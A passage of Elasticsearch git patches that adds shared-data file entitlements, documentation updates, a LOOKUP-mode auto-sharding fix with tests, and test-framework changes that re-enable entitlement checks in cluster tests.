--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -453,6 +453,9 @@ tests:
 - class: org.elasticsearch.xpack.stack.StackYamlIT
   method: test {yaml=stack/10_basic/Test wrong data_stream type - logs from 9.2.0}
   issue: https://github.com/elastic/elasticsearch/issues/131803
+- class: org.elasticsearch.index.engine.MergeWithLowDiskSpaceIT
+  method: testRelocationWhileForceMerging
+  issue: https://github.com/elastic/elasticsearch/issues/131789
 
 # Examples:
 #

From 9804bad344e2ead11ba02b138c1996bb6091226e Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Tue, 29 Jul 2025 10:23:21 +0200
Subject: [PATCH 251/299] Fix file entitlements for shared data dir (#131748)
 (#132058)

This fixes incomplete entitlements added in #131680 and is necessary due to the lack of entitlement delegation.
---
 .../bootstrap/HardcodedEntitlements.java       | 18 +++++++++++++++---
 .../policy/entitlements/FilesEntitlement.java  |  3 ++-
 .../plugin-metadata/entitlement-policy.yaml    |  3 +++
 .../plugin-metadata/entitlement-policy.yaml    |  3 +++
 4 files changed, 23 insertions(+), 4 deletions(-)

diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java
index 278b9e773ae1f..01e1092f53d00 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/bootstrap/HardcodedEntitlements.java
@@ -92,8 +92,9 @@ private static List<Scope> createServerEntitlements(Path pidFile) {
                     new CreateClassLoaderEntitlement(),
                     new FilesEntitlement(
                         List.of(
-                            // TODO: what in es.base is accessing shared repo?
+                            // necessary due to lack of delegation ES-12382
                             FilesEntitlement.FileData.ofBaseDirPath(SHARED_REPO, READ_WRITE),
+                            FilesEntitlement.FileData.ofBaseDirPath(SHARED_DATA, READ_WRITE),
                             FilesEntitlement.FileData.ofBaseDirPath(DATA, READ_WRITE)
                         )
                     )
@@ -122,6 +123,7 @@ private static List<Scope> createServerEntitlements(Path pidFile) {
                     new FilesEntitlement(
                         List.of(
                             FilesEntitlement.FileData.ofBaseDirPath(CONFIG, READ),
+                            FilesEntitlement.FileData.ofBaseDirPath(SHARED_DATA, READ_WRITE),
                             FilesEntitlement.FileData.ofBaseDirPath(DATA, READ_WRITE)
                         )
                     )
@@ -130,7 +132,12 @@ private static List<Scope> createServerEntitlements(Path pidFile) {
             new Scope(
                 "org.apache.lucene.misc",
                 List.of(
-                    new FilesEntitlement(List.of(FilesEntitlement.FileData.ofBaseDirPath(DATA, READ_WRITE))),
+                    new FilesEntitlement(
+                        List.of(
+                            FilesEntitlement.FileData.ofBaseDirPath(SHARED_DATA, READ_WRITE),
+                            FilesEntitlement.FileData.ofBaseDirPath(DATA, READ_WRITE)
+                        )
+                    ),
                     new ReadStoreAttributesEntitlement()
                 )
             ),
@@ -145,7 +152,12 @@ private static List<Scope> createServerEntitlements(Path pidFile) {
                 "org.elasticsearch.nativeaccess",
                 List.of(
                     new LoadNativeLibrariesEntitlement(),
-                    new FilesEntitlement(List.of(FilesEntitlement.FileData.ofBaseDirPath(DATA, READ_WRITE)))
+                    new FilesEntitlement(
+                        List.of(
+                            FilesEntitlement.FileData.ofBaseDirPath(SHARED_DATA, READ_WRITE),
+                            FilesEntitlement.FileData.ofBaseDirPath(DATA, READ_WRITE)
+                        )
+                    )
                 )
             )
         );
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlement.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlement.java
index 872a083a76ba6..cc9ef9d263dd1 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlement.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/entitlements/FilesEntitlement.java
@@ -182,8 +182,9 @@ private static BaseDir parseBaseDir(String baseDir) {
             case "config" -> BaseDir.CONFIG;
             case "data" -> BaseDir.DATA;
             case "home" -> BaseDir.USER_HOME;
+            case "shared_data" -> BaseDir.SHARED_DATA;
             // it would be nice to limit this to just ES modules, but we don't have a way to plumb that through to here
-            // however, we still don't document in the error case below that shared_repo is valid
+            // however, we still don't document in the error case below that shared_repo and shared_data is valid
             case "shared_repo" -> BaseDir.SHARED_REPO;
             default -> throw new PolicyValidationException(
                 "invalid relative directory: " + baseDir + ", valid values: [config, data, home]"
diff --git a/plugins/store-smb/src/main/plugin-metadata/entitlement-policy.yaml b/plugins/store-smb/src/main/plugin-metadata/entitlement-policy.yaml
index 1022253171a11..dbe45c7527967 100644
--- a/plugins/store-smb/src/main/plugin-metadata/entitlement-policy.yaml
+++ b/plugins/store-smb/src/main/plugin-metadata/entitlement-policy.yaml
@@ -3,3 +3,6 @@ ALL-UNNAMED:
       - relative_path: "indices/"
         relative_to: data
         mode: read_write
+      - relative_path: ""
+        relative_to: shared_data
+        mode: read_write
diff --git a/x-pack/plugin/searchable-snapshots/src/main/plugin-metadata/entitlement-policy.yaml b/x-pack/plugin/searchable-snapshots/src/main/plugin-metadata/entitlement-policy.yaml
index 69eead6707114..d21ee299b832d 100644
--- a/x-pack/plugin/searchable-snapshots/src/main/plugin-metadata/entitlement-policy.yaml
+++ b/x-pack/plugin/searchable-snapshots/src/main/plugin-metadata/entitlement-policy.yaml
@@ -6,3 +6,6 @@ org.elasticsearch.searchablesnapshots:
       - relative_path: indices
         relative_to: data
         mode: read_write
+      - relative_path: ""
+        relative_to: shared_data
+        mode: read_write

From cc70c6c0b42d24d83a7e93b1748f3e9bcb30eef3 Mon Sep 17 00:00:00 2001
From: Charlotte Hoblik <116336412+charlotte-hoblik@users.noreply.github.com>
Date: Tue, 29 Jul 2025 10:25:18 +0200
Subject: [PATCH 252/299] Add 9.1.0 Connectors release notes (#131988)

---
 docs/reference/search-connectors/release-notes.md | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/docs/reference/search-connectors/release-notes.md b/docs/reference/search-connectors/release-notes.md
index c0630e4f1bf0c..948fe3c101e99 100644
--- a/docs/reference/search-connectors/release-notes.md
+++ b/docs/reference/search-connectors/release-notes.md
@@ -13,6 +13,9 @@ If you are an Enterprise Search user and want to upgrade to Elastic 9.0, refer t
 It includes detailed steps, tooling, and resources to help you transition to supported alternatives in 9.x, such as Elasticsearch, the Open Web Crawler, and self-managed connectors.
 :::
 
+## 9.1.0 [connectors-9.1.0-release-notes]
+There are no new features, enhancements, fixes, known issues, or deprecations associated with this release.
+
 ## 9.0.3 [connectors-9.0.3-release-notes]
 
 ### Features and enhancements [connectors-9.0.3-features-enhancements]

From d54a9f3f587be298502151b890f7a107fa88ca6f Mon Sep 17 00:00:00 2001
From: Kathleen DeRusso <kathleen.derusso@elastic.co>
Date: Tue, 29 Jul 2025 08:16:23 -0400
Subject: [PATCH 253/299] Clarify highlighting docs for semantic_text and
 interacting with chunks (#131871) (#132069)

---
 .../mapping-reference/semantic-text.md        | 23 ++++++++++++++++++-
 .../elasticsearch/rest-apis/highlighting.md   |  2 +-
 2 files changed, 23 insertions(+), 2 deletions(-)

diff --git a/docs/reference/elasticsearch/mapping-reference/semantic-text.md b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
index fba9c1b263420..f77e6ee30d8dc 100644
--- a/docs/reference/elasticsearch/mapping-reference/semantic-text.md
+++ b/docs/reference/elasticsearch/mapping-reference/semantic-text.md
@@ -267,9 +267,30 @@ POST test-index/_search
 ```
 
 1. Specifies the maximum number of fragments to return.
-2. Sorts highlighted fragments by score when set to `score`. By default,
+2. Sorts the most relevant highlighted fragments by score when set to `score`. By default,
    fragments will be output in the order they appear in the field (order: none).
 
+To use the `semantic` highlighter to view chunks in the order which they were indexed with no scoring,
+use the `match_all` query to retrieve them in the order they appear in the document:
+
+```console
+POST test-index/_search
+{
+    "query": {
+        "match_all": {}
+    },
+    "highlight": {
+        "fields": {
+            "my_semantic_field": {
+                "number_of_fragments": 5  <1>
+            }
+        }
+    }
+}
+```
+
+1. This will return the first 5 chunks, set this number higher to retrieve more chunks.
+
 Highlighting is supported on fields other than semantic_text. However, if you
 want to restrict highlighting to the semantic highlighter and return no
 fragments when the field is not of type semantic_text, you can explicitly
diff --git a/docs/reference/elasticsearch/rest-apis/highlighting.md b/docs/reference/elasticsearch/rest-apis/highlighting.md
index 93f58eeb6f14e..bbebb8202f506 100644
--- a/docs/reference/elasticsearch/rest-apis/highlighting.md
+++ b/docs/reference/elasticsearch/rest-apis/highlighting.md
@@ -7,7 +7,7 @@ applies_to:
 
 # Highlighting [highlighting]
 
-Highlighters enable you to get highlighted snippets from one or more fields in your search results so you can show users where the query matches are. When you request highlights, the response contains an additional `highlight` element for each search hit that includes the highlighted fields and the highlighted fragments.
+Highlighters enable you to retrieve the best-matching highlighted snippets from one or more fields in your search results so you can show users where the query matches are. When you request highlights, the response contains an additional `highlight` element for each search hit that includes the highlighted fields and the highlighted fragments.
 
 ::::{note}
 Highlighters don’t reflect the boolean logic of a query when extracting terms to highlight. Thus, for some complex boolean queries (e.g nested boolean queries, queries using `minimum_should_match` etc.), parts of documents may be highlighted that don’t correspond to query matches.

From 50859eb247f47dbc758080719c0bc58b65f5f7ed Mon Sep 17 00:00:00 2001
From: elasticsearchmachine
 <58790826+elasticsearchmachine@users.noreply.github.com>
Date: Tue, 29 Jul 2025 15:30:07 +0200
Subject: [PATCH 254/299] Remove 8.17 from branches.json

---
 branches.json | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/branches.json b/branches.json
index a2feaf0715575..72dbe9c14f4e8 100644
--- a/branches.json
+++ b/branches.json
@@ -16,9 +16,6 @@
     {
       "branch": "8.18"
     },
-    {
-      "branch": "8.17"
-    },
     {
       "branch": "7.17"
     }

From 9cf40a74b87616f0627d0baf9a1d96dd20585886 Mon Sep 17 00:00:00 2001
From: Luke Whiting <luke.whiting@elastic.co>
Date: Tue, 29 Jul 2025 14:35:20 +0100
Subject: [PATCH 255/299] Prevent auto-sharding for data streams in LOOKUP
 index mode (#131429) (#132073)

* Prevent auto-sharding for data streams in LOOKUP index mode

* Update docs/changelog/131429.yaml

* Reduce test duplication
---
 docs/changelog/131429.yaml                    |  5 +++
 .../DataStreamAutoShardingService.java        |  7 ++++
 .../DataStreamAutoShardingServiceTests.java   | 42 +++++++++++++++++++
 3 files changed, 54 insertions(+)
 create mode 100644 docs/changelog/131429.yaml

diff --git a/docs/changelog/131429.yaml b/docs/changelog/131429.yaml
new file mode 100644
index 0000000000000..8ffb7d2ffe100
--- /dev/null
+++ b/docs/changelog/131429.yaml
@@ -0,0 +1,5 @@
+pr: 131429
+summary: Prevent auto-sharding for data streams in LOOKUP index mode
+area: Data streams
+type: bug
+issues: []
diff --git a/server/src/main/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingService.java b/server/src/main/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingService.java
index 61eb2867790a2..b5c884be746dc 100644
--- a/server/src/main/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingService.java
+++ b/server/src/main/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingService.java
@@ -26,6 +26,7 @@
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.core.TimeValue;
 import org.elasticsearch.index.Index;
+import org.elasticsearch.index.IndexMode;
 import org.elasticsearch.index.shard.IndexingStats;
 
 import java.util.Arrays;
@@ -371,6 +372,7 @@ public String toString() {
      * there'll be no new auto sharding event)
      */
     public AutoShardingResult calculate(ProjectState state, DataStream dataStream, @Nullable IndexStats writeIndexStats) {
+
         if (isAutoShardingEnabled == false) {
             logger.debug("Data stream auto-sharding service is not enabled.");
             return NOT_APPLICABLE_RESULT;
@@ -385,6 +387,11 @@ public AutoShardingResult calculate(ProjectState state, DataStream dataStream, @
             return NOT_APPLICABLE_RESULT;
         }
 
+        if (dataStream.getIndexMode() == IndexMode.LOOKUP) {
+            logger.debug("Data stream [{}] has indexing mode LOOKUP; auto-sharding is not applicable.", dataStream.getName());
+            return NOT_APPLICABLE_RESULT;
+        }
+
         if (writeIndexStats == null) {
             logger.debug(
                 "Data stream auto-sharding service cannot compute the optimal number of shards for data stream [{}] as the write index "
diff --git a/server/src/test/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingServiceTests.java b/server/src/test/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingServiceTests.java
index 403c395e31b57..0fa419be7b60b 100644
--- a/server/src/test/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingServiceTests.java
+++ b/server/src/test/java/org/elasticsearch/action/datastreams/autosharding/DataStreamAutoShardingServiceTests.java
@@ -1343,4 +1343,46 @@ private static Decision.Inputs createDecisionInputsForPeriodLoggerTests(int writ
             3
         );
     }
+
+    public void testCalculateReturnsNotApplicableForLookupIndexMode() {
+        var projectId = randomProjectIdOrDefault();
+        ProjectMetadata.Builder builder = ProjectMetadata.builder(projectId);
+        DataStream dataStream = createLookupModeDataStream(builder);
+        ClusterState state = createClusterStateWithDataStream(builder);
+
+        AutoShardingResult autoShardingResult = service.calculate(
+            state.projectState(projectId),
+            dataStream,
+            createIndexStats(1, 1.0, 1.0, 1.0)
+        );
+        assertThat(autoShardingResult, is(NOT_APPLICABLE_RESULT));
+        assertThat(decisionsLogged, hasSize(0));
+    }
+
+    public void testCalculateReturnsNotApplicableForLookupIndexModeWithNullStats() {
+        var projectId = randomProjectIdOrDefault();
+        ProjectMetadata.Builder builder = ProjectMetadata.builder(projectId);
+        DataStream dataStream = createLookupModeDataStream(builder);
+        ClusterState state = createClusterStateWithDataStream(builder);
+
+        AutoShardingResult autoShardingResult = service.calculate(state.projectState(projectId), dataStream, null);
+        assertThat(autoShardingResult, is(NOT_APPLICABLE_RESULT));
+        assertThat(decisionsLogged, hasSize(0));
+    }
+
+    private DataStream createLookupModeDataStream(ProjectMetadata.Builder builder) {
+        DataStream dataStream = DataStream.builder(dataStreamName, List.of(new Index("test-index", randomUUID())))
+            .setGeneration(1)
+            .setIndexMode(IndexMode.LOOKUP)
+            .build();
+        builder.put(dataStream);
+        return dataStream;
+    }
+
+    private ClusterState createClusterStateWithDataStream(ProjectMetadata.Builder builder) {
+        return ClusterState.builder(ClusterName.DEFAULT)
+            .nodes(DiscoveryNodes.builder().add(DiscoveryNodeUtils.create("n1")))
+            .putProjectMetadata(builder.build())
+            .build();
+    }
 }

From 2479ec4307703916b3ce23c214067a4313153226 Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Tue, 29 Jul 2025 16:46:52 +0200
Subject: [PATCH 256/299] Fix entitlements in internalClusterTest (#131539)
 (#132067)

Previously, entitlement checks got disabled when resetting the policy manager (which defaults to inactive). This change makes sure entitlements are correctly enabled during tests.

Due to the lack of entitlement delegation (and usage of server's FileSystemUtils and similar in test code), there's a few remaining issues:
- various tests have to run without entitlements
- node base dirs cannot be removed immediately when shutting down the node due to pending cleanups (wipePendingDataDirectories)

Due to Netty dependency issues (ES-12435), azure and inference tests have to run without entitlements.
---
 .../runtime/policy/PolicyManager.java         |  4 +-
 .../azure/AzureBlobStoreRepositoryTests.java  |  2 +
 .../AzureRepositoryMissingCredentialsIT.java  |  2 +
 .../action/admin/ReloadSecureSettingsIT.java  |  2 +
 .../cluster/tasks/PendingTasksBlocksIT.java   |  2 +
 .../coordination/RemoveCustomsCommandIT.java  |  2 +
 .../RemoveIndexSettingsCommandIT.java         |  2 +
 .../coordination/RemoveSettingsCommandIT.java |  2 +
 .../RemoveCorruptedShardDataCommandIT.java    |  2 +
 .../bootstrap/TestEntitlementBootstrap.java   | 60 ++++++++++++++-----
 .../runtime/policy/TestPolicyManager.java     | 16 +++--
 .../java/org/elasticsearch/node/MockNode.java |  9 +--
 .../org/elasticsearch/test/ESTestCase.java    |  2 +-
 .../policy/TestPolicyManagerTests.java        |  4 +-
 ...lkInferenceActionFilterBasicLicenseIT.java |  2 +
 .../ShardBulkInferenceActionFilterIT.java     |  2 +
 .../InferenceRevokeDefaultEndpointsIT.java    |  2 +
 .../integration/ModelRegistryIT.java          |  2 +
 .../SemanticTextIndexOptionsIT.java           |  2 +
 .../SemanticTextIndexVersionIT.java           |  2 +
 ...rverSentEventsRestActionListenerTests.java |  2 +
 21 files changed, 97 insertions(+), 28 deletions(-)

diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
index 7f0541911284c..df68da2e251ac 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
@@ -367,9 +367,7 @@ private ModuleEntitlements getModuleScopeEntitlements(
      * @return true if permission is granted regardless of the entitlement
      */
     boolean isTriviallyAllowed(Class<?> requestingClass) {
-        if (generalLogger.isTraceEnabled()) {
-            generalLogger.trace("Stack trace for upcoming trivially-allowed check", new Exception());
-        }
+        // note: do not log exceptions in here, this could interfere with loading of additionally necessary classes such as ThrowableProxy
         if (requestingClass == null) {
             generalLogger.debug("Entitlement trivially allowed: no caller frames outside the entitlement library");
             return true;
diff --git a/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java b/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java
index c6c1868d5bbc1..493f4d10eea6d 100644
--- a/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java
+++ b/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureBlobStoreRepositoryTests.java
@@ -41,6 +41,7 @@
 import org.elasticsearch.telemetry.Measurement;
 import org.elasticsearch.telemetry.TestTelemetryPlugin;
 import org.elasticsearch.test.BackgroundIndexer;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.threadpool.ThreadPool;
 
 import java.io.ByteArrayInputStream;
@@ -73,6 +74,7 @@
 import static org.hamcrest.Matchers.is;
 
 @SuppressForbidden(reason = "this test uses a HttpServer to emulate an Azure endpoint")
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class AzureBlobStoreRepositoryTests extends ESMockAPIBasedRepositoryIntegTestCase {
 
     protected static final String DEFAULT_ACCOUNT_NAME = "account";
diff --git a/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureRepositoryMissingCredentialsIT.java b/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureRepositoryMissingCredentialsIT.java
index 947f73c2ce580..5e3cad4534b7c 100644
--- a/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureRepositoryMissingCredentialsIT.java
+++ b/modules/repository-azure/src/internalClusterTest/java/org/elasticsearch/repositories/azure/AzureRepositoryMissingCredentialsIT.java
@@ -18,12 +18,14 @@
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.repositories.RepositoryVerificationException;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 
 import java.util.Collection;
 
 import static org.hamcrest.Matchers.allOf;
 import static org.hamcrest.Matchers.containsString;
 
+@ESTestCase.WithoutEntitlements // due to dependency issue ES-12435
 public class AzureRepositoryMissingCredentialsIT extends ESIntegTestCase {
 
     @Override
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/action/admin/ReloadSecureSettingsIT.java b/server/src/internalClusterTest/java/org/elasticsearch/action/admin/ReloadSecureSettingsIT.java
index 83e79ff7f45a8..82a6c1f6acf85 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/action/admin/ReloadSecureSettingsIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/action/admin/ReloadSecureSettingsIT.java
@@ -27,6 +27,7 @@
 import org.elasticsearch.plugins.PluginsService;
 import org.elasticsearch.plugins.ReloadablePlugin;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.junit.BeforeClass;
 
 import java.io.InputStream;
@@ -47,6 +48,7 @@
 import static org.hamcrest.Matchers.nullValue;
 
 @ESIntegTestCase.ClusterScope(minNumDataNodes = 2)
+@ESTestCase.WithoutEntitlements // requires entitlement delegation ES-10920
 public class ReloadSecureSettingsIT extends ESIntegTestCase {
 
     private static final String VALID_SECURE_SETTING_NAME = "some.setting.that.exists";
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/action/admin/cluster/tasks/PendingTasksBlocksIT.java b/server/src/internalClusterTest/java/org/elasticsearch/action/admin/cluster/tasks/PendingTasksBlocksIT.java
index 6475e80901ea7..bb048179a437a 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/action/admin/cluster/tasks/PendingTasksBlocksIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/action/admin/cluster/tasks/PendingTasksBlocksIT.java
@@ -12,6 +12,7 @@
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.gateway.GatewayService;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.InternalTestCluster;
 
 import java.util.Arrays;
@@ -22,6 +23,7 @@
 import static org.elasticsearch.cluster.metadata.IndexMetadata.SETTING_READ_ONLY;
 import static org.elasticsearch.cluster.metadata.IndexMetadata.SETTING_READ_ONLY_ALLOW_DELETE;
 
+@ESTestCase.WithoutEntitlements // requires entitlement delegation ES-10920
 public class PendingTasksBlocksIT extends ESIntegTestCase {
 
     public void testPendingTasksWithIndexBlocks() {
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveCustomsCommandIT.java b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveCustomsCommandIT.java
index 2b2dc114e8ffc..e88a08f983b90 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveCustomsCommandIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveCustomsCommandIT.java
@@ -18,12 +18,14 @@
 import org.elasticsearch.env.Environment;
 import org.elasticsearch.env.TestEnvironment;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 
 import java.util.Map;
 
 import static org.hamcrest.Matchers.containsString;
 
 @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0, autoManageMasterNodes = false)
+@ESTestCase.WithoutEntitlements // commands don't run with entitlements enforced
 public class RemoveCustomsCommandIT extends ESIntegTestCase {
 
     public void testRemoveCustomsAbortedByUser() throws Exception {
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveIndexSettingsCommandIT.java b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveIndexSettingsCommandIT.java
index 65e325a1291d8..62afa9c57cbaa 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveIndexSettingsCommandIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveIndexSettingsCommandIT.java
@@ -21,6 +21,7 @@
 import org.elasticsearch.env.TestEnvironment;
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 
 import java.util.Collection;
 import java.util.List;
@@ -31,6 +32,7 @@
 import static org.hamcrest.Matchers.not;
 
 @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0, autoManageMasterNodes = false)
+@ESTestCase.WithoutEntitlements // commands don't run with entitlements enforced
 public class RemoveIndexSettingsCommandIT extends ESIntegTestCase {
 
     static final Setting<Integer> FOO = Setting.intSetting("index.foo", 1, Setting.Property.IndexScope, Setting.Property.Dynamic);
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveSettingsCommandIT.java b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveSettingsCommandIT.java
index d7ed6bb47b98b..1a68211c6ea8e 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveSettingsCommandIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/cluster/coordination/RemoveSettingsCommandIT.java
@@ -19,6 +19,7 @@
 import org.elasticsearch.env.Environment;
 import org.elasticsearch.env.TestEnvironment;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 
 import java.util.Map;
 
@@ -27,6 +28,7 @@
 import static org.hamcrest.Matchers.not;
 
 @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0, autoManageMasterNodes = false)
+@ESTestCase.WithoutEntitlements // commands don't run with entitlements enforced
 public class RemoveSettingsCommandIT extends ESIntegTestCase {
 
     public void testRemoveSettingsAbortedByUser() throws Exception {
diff --git a/server/src/internalClusterTest/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandIT.java b/server/src/internalClusterTest/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandIT.java
index b9513dfb95187..d1cff7b2a30d1 100644
--- a/server/src/internalClusterTest/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandIT.java
+++ b/server/src/internalClusterTest/java/org/elasticsearch/index/shard/RemoveCorruptedShardDataCommandIT.java
@@ -58,6 +58,7 @@
 import org.elasticsearch.plugins.Plugin;
 import org.elasticsearch.test.CorruptionUtils;
 import org.elasticsearch.test.ESIntegTestCase;
+import org.elasticsearch.test.ESTestCase;
 import org.elasticsearch.test.InternalSettingsPlugin;
 import org.elasticsearch.test.InternalTestCluster;
 import org.elasticsearch.test.engine.MockEngineSupport;
@@ -93,6 +94,7 @@
 import static org.hamcrest.Matchers.startsWith;
 
 @ESIntegTestCase.ClusterScope(scope = ESIntegTestCase.Scope.TEST, numDataNodes = 0)
+@ESTestCase.WithoutEntitlements // commands don't run with entitlements enforced
 public class RemoveCorruptedShardDataCommandIT extends ESIntegTestCase {
 
     @Override
diff --git a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
index 1edc0b4763abb..d9c10d0d251e5 100644
--- a/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
+++ b/test/framework/src/main/java/org/elasticsearch/entitlement/bootstrap/TestEntitlementBootstrap.java
@@ -9,6 +9,7 @@
 
 package org.elasticsearch.entitlement.bootstrap;
 
+import org.apache.lucene.tests.mockfile.FilterPath;
 import org.elasticsearch.bootstrap.TestBuildInfo;
 import org.elasticsearch.bootstrap.TestBuildInfoParser;
 import org.elasticsearch.bootstrap.TestScopeResolver;
@@ -38,6 +39,7 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -83,34 +85,56 @@ public static void registerNodeBaseDirs(Settings settings, Path configPath) {
         if (policyManager == null) {
             return;
         }
-        Path homeDir = absolutePath(PATH_HOME_SETTING.get(settings));
-        Path configDir = configPath != null ? configPath : homeDir.resolve("config");
+
+        Path homeDir = homeDir(settings);
+        Path configDir = configDir(configPath, homeDir);
         Collection<Path> dataDirs = dataDirs(settings, homeDir);
         Collection<Path> sharedDataDir = sharedDataDir(settings);
         Collection<Path> repoDirs = repoDirs(settings);
-        logger.debug("Registering node dirs: config [{}], dataDirs [{}], repoDirs [{}]", configDir, dataDirs, repoDirs);
+        logger.debug(
+            "Registering node dirs: config [{}], dataDirs [{}], sharedDataDir [{}], repoDirs [{}]",
+            configDir,
+            dataDirs,
+            sharedDataDir,
+            repoDirs
+        );
         baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.add(configDir)));
         baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.addAll(dataDirs)));
         baseDirPaths.compute(BaseDir.SHARED_DATA, baseDirModifier(paths -> paths.addAll(sharedDataDir)));
         baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.addAll(repoDirs)));
-        policyManager.reset();
+        policyManager.clearModuleEntitlementsCache();
     }
 
     public static void unregisterNodeBaseDirs(Settings settings, Path configPath) {
         if (policyManager == null) {
             return;
         }
-        Path homeDir = absolutePath(PATH_HOME_SETTING.get(settings));
-        Path configDir = configPath != null ? configPath : homeDir.resolve("config");
+
+        Path homeDir = homeDir(settings);
+        Path configDir = configDir(configPath, homeDir);
         Collection<Path> dataDirs = dataDirs(settings, homeDir);
         Collection<Path> sharedDataDir = sharedDataDir(settings);
         Collection<Path> repoDirs = repoDirs(settings);
-        logger.debug("Unregistering node dirs: config [{}], dataDirs [{}], repoDirs [{}]", configDir, dataDirs, repoDirs);
+        logger.debug(
+            "Unregistering node dirs: config [{}], dataDirs [{}], sharedDataDir [{}], repoDirs [{}]",
+            configDir,
+            dataDirs,
+            sharedDataDir,
+            repoDirs
+        );
         baseDirPaths.compute(BaseDir.CONFIG, baseDirModifier(paths -> paths.remove(configDir)));
         baseDirPaths.compute(BaseDir.DATA, baseDirModifier(paths -> paths.removeAll(dataDirs)));
         baseDirPaths.compute(BaseDir.SHARED_DATA, baseDirModifier(paths -> paths.removeAll(sharedDataDir)));
         baseDirPaths.compute(BaseDir.SHARED_REPO, baseDirModifier(paths -> paths.removeAll(repoDirs)));
-        policyManager.reset();
